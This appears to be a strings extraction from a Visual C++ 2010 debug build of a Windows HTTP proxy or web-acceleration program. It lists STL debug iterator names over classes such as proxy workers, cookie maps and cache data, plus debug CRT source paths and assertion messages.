std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator --

std::_Vector_const_iterator<class std::_Vector_val<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\regex

std::_Vector_const_iterator<class std::_Vector_val<char,class std::allocator<char> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator

std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator

std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==

std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

